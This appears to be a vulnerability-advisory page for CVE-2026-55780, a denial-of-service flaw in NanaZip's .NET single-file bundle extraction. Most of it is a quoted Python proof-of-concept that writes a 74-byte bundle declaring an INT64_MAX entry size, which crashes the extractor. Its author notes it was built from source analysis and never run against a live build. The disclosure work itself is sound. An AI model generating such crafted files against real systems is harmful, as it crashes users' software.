CVE-2026-55780 is a medium severity vulnerability in NanaZip prior to version 6.5.1749.0. It involves improper validation of the extraction buffer size in the .NET single-file bundle handler, which can lead to uncaught exceptions and process crashes.

AI Analysis

Indicators of Compromise

• exploit-code: # Exploit Title: NanaZip 6.5 - DoS # Date: 2026-07-17 # Exploit Author: Pig-Tail (Jorge González Milla) # Vendor Homepage: https://github.com/M2Team/NanaZip # Software Link: https://github.com/M2Team/NanaZip/releases # Version: NanaZip <= 6.5 Preview (6.5.1742.0) (fixed 6.5.1749.0) # Tested on: Windows # CVE: CVE-2026-55780 # Category: dos # Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/CVE-2026-55780-NanaZip A crafted .NET single-file bundle triggers an uncaught exception / unbounded allocation in the DotNetSingleFile handler's Extract(). NOTE: This PoC input was constructed by static analysis of the NanaZip.Codecs parser source (NanaZip is Windows-only); it reaches the exact vulnerable line documented in the advisory but was not executed against a running build. Benign — it only generates the malformed carrier file. --- PoC generator (GHSA-ppm9-5267-rq72.py) --- #!/usr/bin/env python3 # PoC generator: uncaught exception / unbounded allocation in NanaZip's .NET # single-file Extract() (GHSA-ppm9-5267-rq72). # # A 74-byte bundle: 'MZ' stub, the 32-byte .NET bundle signature at offset 10 # preceded by an int64 bundle-header offset at offset 2, then a v1 header # declaring one embedded file with Size = INT64_MAX. Extracting that entry makes # DotNetSingleFile::Extract run std::vector(Size) with no try/catch # (NanaZip.Codecs.Archive.DotNetSingleFile.cpp:804); the allocation throws across # the COM boundary. (It also triggers the GetStream(Indices[i]) NULL-deref.) import struct SIG = bytes([     0x8b, 0x12, 0x02, 0xb9, 0x6a, 0x61, 0x20, 0x38,     0x72, 0x7b, 0x93, 0x02, 0x14, 0xd7, 0xa0, 0x32,     0x13, 0xf5, 0xb9, 0xe6, 0xef, 0xae, 0x33, 0x18,     0xee, 0x3b, 0x2d, 0xce, 0x24, 0xb3, 0x6a, 0xae, ]) HDR = 42  # bundle header offset buf = bytearray(74) buf[0:2]   = b"MZ" buf[2:10]  = struct.pack("<q", HDR)   # int64 header offset (read at sig-8) buf[10:42] = SIG                       # signature at i = 10 o = HDR struct.pack_into("<I", buf, o, 1); o += 4                    # MajorVersion = 1 (<2) struct.pack_into("<I", buf, o, 0); o += 4                    # MinorVersion = 0 struct.pack_into("<i", buf, o, 1); o += 4                    # NumberOfEmbeddedFiles = 1 buf[o] = 0; o += 1                                           # BundleIdLength = 0 struct.pack_into("<q", buf, o, HDR);                o += 8   # Entry.Offset (>0) struct.pack_into("<q", buf, o, 0x7FFFFFFFFFFFFFFF); o += 8   # Entry.Size = INT64_MAX buf[o] = 0;        o += 1                                    # Entry.Type = 0 buf[o] = 0x01;     o += 1                                    # RelativePathLength = 1 buf[o] = ord("a"); o += 1                                    # RelativePath = "a" with open("poc.bundle", "wb") as f:     f.write(buf) print(len(buf), "bytes ->", "poc.bundle")